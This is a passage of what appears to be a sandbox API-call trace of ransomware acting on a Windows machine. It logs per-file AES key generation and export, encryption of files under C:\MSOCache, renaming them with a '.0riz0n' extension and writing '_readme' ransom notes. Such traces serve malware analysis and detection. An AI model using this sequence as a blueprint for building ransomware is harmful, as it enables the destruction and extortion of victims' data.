ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x9846c8, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0160.383] GetLastError () returned 0x2 [0160.383] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.383] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.383] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0160.384] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.384] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1b) returned 0x1c7f030 [0160.384] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x775582b0, dwHighDateTime=0x1d59598)) returned 1 [0160.384] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.384] NtClose (Handle=0x1c0) returned 0x0 [0160.384] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0160.384] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0160.384] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.384] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0160.388] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0160.388] CryptDestroyKey (hKey=0x829d78) returned 1 [0160.388] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0160.388] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0160.388] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0160.389] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.389] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333)) returned 1 [0160.391] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.391] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0160.391] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0160.391] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0160.391] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0160.391] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0160.391] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.392] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333)) returned 1 [0160.392] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.392] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0160.392] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.392] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0160.392] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.392] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333)) returned 1 [0160.392] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.392] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.392] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.392] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.392] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.392] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.392] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0160.392] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xfa13c510, dwHighDateTime=0x1d301be)) returned 1 [0160.392] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.392] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0160.392] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.392] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0160.392] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.392] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.393] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.393] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.393] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.393] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0160.393] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x340) returned 0xa7fc38 [0160.393] ReadFile (in: hFile=0x1c0, lpBuffer=0xa7fc38, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa7fc38*, lpNumberOfBytesRead=0x1a7fab0*=0x333, lpOverlapped=0x0) returned 1 [0160.395] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x340) returned 0xa288e8 [0160.395] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0160.395] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x340) returned 0xa7fc38 [0160.395] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.395] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa288e8) returned 1 [0160.395] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x740) returned 0x9956e8 [0160.395] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9956e8*, pdwDataLen=0x1a7faac*=0x333, dwBufLen=0x733 | out: pbData=0x9956e8*, pdwDataLen=0x1a7faac*=0x340) returned 1 [0160.395] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9956e8) returned 1 [0160.395] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.395] WriteFile (in: hFile=0x1c0, lpBuffer=0xa7fc38*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa7fc38*, lpNumberOfBytesWritten=0x1a7fab0*=0x333, lpOverlapped=0x0) returned 1 [0160.395] FlushFileBuffers (hFile=0x1c0) returned 1 [0160.398] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.398] NtClose (Handle=0x1c0) returned 0x0 [0160.398] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.0riz0n")) returned 1 [0160.399] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0160.399] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0160.399] GetLastError () returned 0x2 [0160.399] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x9846e8, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0160.399] GetLastError () returned 0x2 [0160.399] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.400] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.400] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0160.401] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.401] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x17) returned 0x1be3cf0 [0160.401] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x7757e410, dwHighDateTime=0x1d59598)) returned 1 [0160.401] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.401] NtClose (Handle=0x1c0) returned 0x0 [0160.401] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0160.402] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa288e8) returned 1 [0160.402] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0160.402] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0160.402] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0160.402] CryptDestroyKey (hKey=0x829d78) returned 1 [0160.402] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0160.402] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0160.402] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0160.402] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.402] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40)) returned 1 [0160.402] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.402] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0160.402] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0160.402] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0160.402] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0160.402] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0160.402] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.402] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40)) returned 1 [0160.403] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.403] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0160.403] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.403] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0160.403] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.403] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40)) returned 1 [0160.403] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.403] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.403] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.403] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.403] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.403] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.403] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0160.403] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xfc111bb0, dwHighDateTime=0x1d301be)) returned 1 [0160.403] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.403] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0160.403] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.403] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0160.403] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0160.403] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.404] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.404] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.404] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.404] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0160.404] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa40) returned 0xa58890 [0160.404] ReadFile (in: hFile=0x1c0, lpBuffer=0xa58890, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa58890*, lpNumberOfBytesRead=0x1a7fab0*=0xa40, lpOverlapped=0x0) returned 1 [0160.406] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa40) returned 0xa592d8 [0160.406] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa58890) returned 1 [0160.406] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa40) returned 0xa58890 [0160.406] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0160.406] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa592d8) returned 1 [0160.406] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xe40) returned 0xa592d8 [0160.406] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa592d8*, pdwDataLen=0x1a7faac*=0xa40, dwBufLen=0xe40 | out: pbData=0xa592d8*, pdwDataLen=0x1a7faac*=0xa50) returned 1 [0160.406] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa80) returned 0x1b19ee0 [0160.406] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa58890) returned 1 [0160.406] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa592d8) returned 1 [0160.406] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.406] WriteFile (in: hFile=0x1c0, lpBuffer=0x1b19ee0*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x1b19ee0*, lpNumberOfBytesWritten=0x1a7fab0*=0xa40, lpOverlapped=0x0) returned 1 [0160.406] FlushFileBuffers (hFile=0x1c0) returned 1 [0160.411] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.411] NtClose (Handle=0x1c0) returned 0x0 [0160.411] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0160.412] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0160.412] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0160.412] GetLastError () returned 0x2 [0160.412] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984708, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0160.412] GetLastError () returned 0x2 [0160.412] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.412] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.412] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0160.413] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.413] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1b) returned 0x1c7f030 [0160.413] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, 